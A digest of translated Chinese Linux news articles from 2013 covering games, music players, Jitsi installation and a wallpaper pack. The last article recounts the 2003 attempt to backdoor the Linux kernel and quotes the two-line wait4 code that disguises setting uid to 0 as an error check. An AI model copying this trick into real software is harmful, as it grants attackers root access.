Flower Coil是一个简单但有趣的复古风游戏，用户为了要完成任务，必须要通过认真的思考，一步一步谨慎的移动角色才行。
基本上来说，玩家主要操作就是控制游戏中的角色，让其滑动位置。游戏环节的重点是玩家要仔细的计算下一步操作，因为角色在完成每个任务时都有预定好的最多移动步数。
Flower Coil有解谜和街机两种模式，同时配以简约的视图效果以及活泼的提示音乐，这样做的效果是：从启动游戏时起，用户就要利用好每一秒钟（尤其是在街机模式中）和屏幕的每一个像素才能获得胜利。
在主界面选择街机模式，打开一段充满活力的旋律，现在就开始行动吧，在有限的时间里，通过你机警的操作打通各个关卡！
Flower Coil可以通过Ubuntu软件中心免费进行下载。
via: http://iloveubuntu.net/flower-coil-retro-challenging-puzzle-game-ubuntu-software-center
就像等待首张专辑一样，实际上Banshee音乐播放器的粉丝们也等待了很长一段时间了——12个月了。
Banshee 2.9.0版本的发布, 在通往下一个稳定版本道路上的首个里程碑 (Banshee 3.0, 真正的粉丝)，修复了36个漏洞，实现了应用移植到GTK3（绝对不是一件简单的事情）并且增加了和塞班手机同步音乐的功能。（这是让所有的N95用户都会激动的功能）
其他改进包括：
距离最新版发布的时间将不会太长。 我很看好Banshee 一个支持专辑封面浏览的播放器。
目前为止还没有任何关于这个最新版本什么时候才能在Ubuntu上可用的消息。
但是，如果你想为安装它做准备的话，你可以添加Banshee团队的PPA。这能在不远的将来，升级最新的Banshee或者任何需要关联它而运行的程序时会用到。
sudo add-apt-repository ppa:banshee-team/ppa
sudo apt-get update && sudo apt-get install banshee
一旦安装完成，Banshee能够通过Unity Dash，GNOME Shell激活角（activities overlay）或者Mint Menu启动。
来自: http://www.omgubuntu.co.uk/2013/10/banshee-music-player-2-9-0-released
（译注，本文的原文已经重新发布，和译文的历史版本不同。）
Jitsi 是Java编写的开源的、多平台的音频/视频网络电话和即时通信软件。它支持一些最流行的即时通信和电信协议，比如：SIP，Jabber/XMPP（这样就支持了Facebook和Google Talk），AIM，ICQ，MSN，Yahoo! Messenger。
Jitsi也被认为是Skype的一个很好的替代者。
安装Jitsi
按下键盘上的Ctrl+Alt+T组合键打开终端。在打开的终端中输入如下命令下载Jitsi：
32位系统：
$ wget https://download.jitsi.org/jitsi/debian/jitsi\_2.2-latest\_i386.deb
64位系统：
$ wget https://download.jitsi.org/jitsi/debian/jitsi\_2.2-latest\_amd64.deb
对于32位和64位系统都运行如下命令：
$ sudo dpkg -i jitsi\_2.2-latest\_*.deb
以上命令将在你的系统中安装Jitsi 2.2，并且在你的系统中添加Jitsi的源库，以便以后能够更加容易的升级。
Jitsi的部分功能：
支持的协议/网络
通话
| 支持的协议 | SIP | XMPP | MSN |
| 音频通话 | 支持 | 支持 | 由于项目终止而没有计划 |
| 视频通话 | 支持 | 支持 | |
| 桌面流 | 支持 | 支持 | |
| 桌面共享 | 支持 | 支持 | |
| 音频电话会议 | 支持 | 支持 | |
| 音频级别显示 | 支持 | 支持 | |
| 通话录音 | 支持 | 支持 | |
| 指定转接 | 支持 | 支持 | |
| 电话盲转 | 支持 | 支持 | |
| 通过SDES/SRTP和ZRTP实现通话加密 | 支持 | 支持 | |
| 通话静音 | 支持 | 支持 | |
| 通话保持 | 支持 | 支持 | |
| 支持ICE | 正在进行 | 支持 | |
| 支持TURN | 正在进行 | 支持 | |
| 使用SILK，G.722和Speex的宽带音频 | 支持 | 支持 | |
| 噪声抑制 | 支持 | 支持 | |
| 回声消除 | 支持 | 支持 |
即时通信
| 支持的协议 | XMPP | MSN | Yahoo! | ICQ/AIM | SIP |
| 存在 | 支持 | 支持 | 支持 | 支持 | 支持 |
| 一对一聊天 | 支持 | 支持 | 支持 | 支持 | 支持 |
| 多用户聊天 | 支持 | 支持 | 支持 | 支持 | 不支持 |
| 文件传输 | 支持 | 支持 | 支持 | 支持 | 不支持 |
| OTR加密 | 支持 | 支持 | 支持 | 支持 | 不支持 |
更多特性 点击这里
使用Jitsi
Jitsi能够通过在终端中执行如下命令来运行
$ jitsi
或者从dash中运行
Dash > Jitsi
添加账户
点击 select network（选择网络）.
在这个教程中，使用Gtalk帐号进行登录
按要求输入你的username（用户名） 和 password（密码）。
然后你就在线了。
聊天窗口。
对于其他Linux发行版，请访问Jitsi下载页面
如有问题，请访问我们的 Q/A 论坛 : http://ask.unixmen.com/-更多信息请参见:http://www.unixmen.com/install-jitsi-instant-messenger-ubuntu/#sthash.TuH8ZN0b.dpuf
来自: http://www.unixmen.com/install-jitsi-instant-messenger-ubuntu/
译者：SCUSJS 校对：jasminepeng
Musique1.3排序选项功能(OS X 截图)
这周对于Linux上的音乐爱好者来说是再好不过了，继Banshee的最新更新之后，一个新的轻量级基于Qt的音乐播放器Musique发布了新版本。
Musique 1.3建立在先前版本的核心功能之上，添加了最被期望的功能：通过网格视图中的歌手名字、人气指数、年代等来 排序艺术家及专辑 。
更新版本的Musique中，有一个完全重新开发的播放列表的新功能，它可以显示正在播放歌曲的专辑缩略图、歌曲切换提示，并且支持使用GStreamer声音后端的无缝播放。
还包含了各种bug修复、专辑和艺术家列表中的性能改进，以及本地专辑封面图片格式的更多选择。
Musique 1.3 已经可以在Ubuntu软件中心中找到 ，支持12.04、12.10和13.10。不用额外使用PPA和deb包。
via: http://www.omgubuntu.co.uk/2013/10/musique-1-3-update-adds-album-sorting
2013年10月17日，Ubuntu 13.10即将发行，这将是又一个令人兴奋的功能强大的操作系统，该系统包含许多新的特性和改进，以及设计比赛产生的、默认设计的新的桌面壁纸。
俏皮的蝾螈壁纸 是一组简约风格的桌面环境，它的中心图案由一个活泼的蝾螈组成。
基本来说，这套壁纸的核心内容是一只在橙色背景上白色风格的蝾螈，同时在壁纸的四个边角添加了白色的圆角，用来衬托这只可爱的蝾螈小演员。
这样做的结果是：映入眼帘的图案是愉快和安静的，同时橙色的背景也为Dash添加了温暖的色调。
俏皮的蝾螈壁纸包含有以下几个 尺寸：1024x768, 1080x1024, 1366x768, 1440x900, 1920x1080, 1920x1080, 用来满足不同分辨率的需要。
要了解更多的信息，壁纸及 XCF 源文件的下载，可以访问以下网址： http://www.deviantart.com/art/Saucy-Salamander-Wallpaper-402488552
via: http://iloveubuntu.net/add-vitality-your-desktop-saucy-salamander-wallpaper-pack
最近Josh写了一篇文章，讲述2006年Debian Linux中出现的一系列安全bug，探讨了这些所谓bug是否是NSA植入的后门。（最后他作出结论：可能不是）
今天我想讲述的是另外一个事件——2003年某些人试图在Linux内核中植入后门的故事。这次事件很明确，的确有人想植入后门，只是我们不知道此人是谁，而且，也许永远都不会知道了。
时间回到2003年，当时Linux使用一套叫做BitKeeper的系统来存储Linux源代码的主拷贝。如果开发者想要提交一份针对源码的修改，就必须经过一套严格的审核过程，以决定这份修改是否能够合并进主拷贝。每个针对主拷贝的修改都必须附带一段说明，说明当中都包括了一个记录相应审核过程的链接。
但是有些人不喜欢BitKeeper，于是这些开发者们就用另一套叫做CVS的系统（译注：Linus一直拒绝使用CVS，后来不得已使用了BitKeeper，并在因某些原因BitKeeper不再让开源社区免费使用后，花了不到一个月的时间自己开发了GIT的原型，并且投入了使用），维护了一份Linux源代码的拷贝，这样他们就能随时按自己喜欢的方式获取Linux源代码了。CVS中的代码其实就是直接克隆了BitKeeper中的代码。
但是在2003年11月5日的时候，Larry McVoy发现，CVS中的代码拷贝有一处改动并没有包含记录审核的链接。调查显示，这一处改动由陌生人添加，而且从未经过审核，不仅如此，在BitKeeper仓库的主拷贝中，这一处改动竟然压根就不存在。经过进一步调查后，可以明确，显然有人入侵了CVS的服务器并植入了此处改动。
神秘人物究竟做了哪些改动？这才是真正有趣的地方。改动修改的是Linux中一个叫wait4的函数，程序可以使用该函数进行挂起操作，以等待某些事件的触发。神秘人物添加的，就是下面这两行代码：
if ((options == (\_\_WCLONE|\_\_WALL)) && (current->uid = 0))
retval = -EINVAL;
[有C语言编程经验的人也许会问：这两行代码有什么特别的？请接着往下看]
猛地一看，好像这两行代码就是一段正常的错误校验代码，当wait4函数被某种文档中禁止的方式调用时，wait4就返回一个错误代码。但是一个真正认真的程序猿立刻就会发现代码中的问题，注意看在第一行末尾，“= 0”应该是“== 0”才对。是的，“== 0”在这里才是判断当前运行代码的用户ID(current->uid)是否等于0，而“= 0”不但无法判断，反而修改了用户ID的值，即，将其值赋值为0。
将用户ID设置为0，这是一个很严重的问题，因为ID为0的用户正是“root”，而root账户可以在系统中做任何事情，包括访问所有数据、修改任意代码的行为，能够危及到整个系统各个部分的安全。因此，这段代码的影响就是通过特殊手段使得任何调用wait4函数的软件都拥有了root权限。换句话说，这就是一个典型的后门。
客观地说，这一招很漂亮。看起来就像是无关紧要的错误校验，但真实身份却是一个后门。而且它混在其他经过审核的代码中间，几乎规避了所有审核可能会注意到自己的可能性。
但是它终究还是失败了，因为Linux小组有足够强的责任心，注意到了CVS仓库中的这段代码没有经过常规审核。Linux还是略胜一筹。
这是NSA干的吗？只能说有可能。因为有太多拥有技术能力和动机的人有可能实施了此次攻击。那么，到底是谁呢？除非某些人主动承认，又或者发现新的确凿证据，否则，我们将永远不会知道。
via: https://freedom-to-tinker.com/blog/felten/the-linux-backdoor-attempt-of-2003/
译者：tinyeyeser 校对：wxy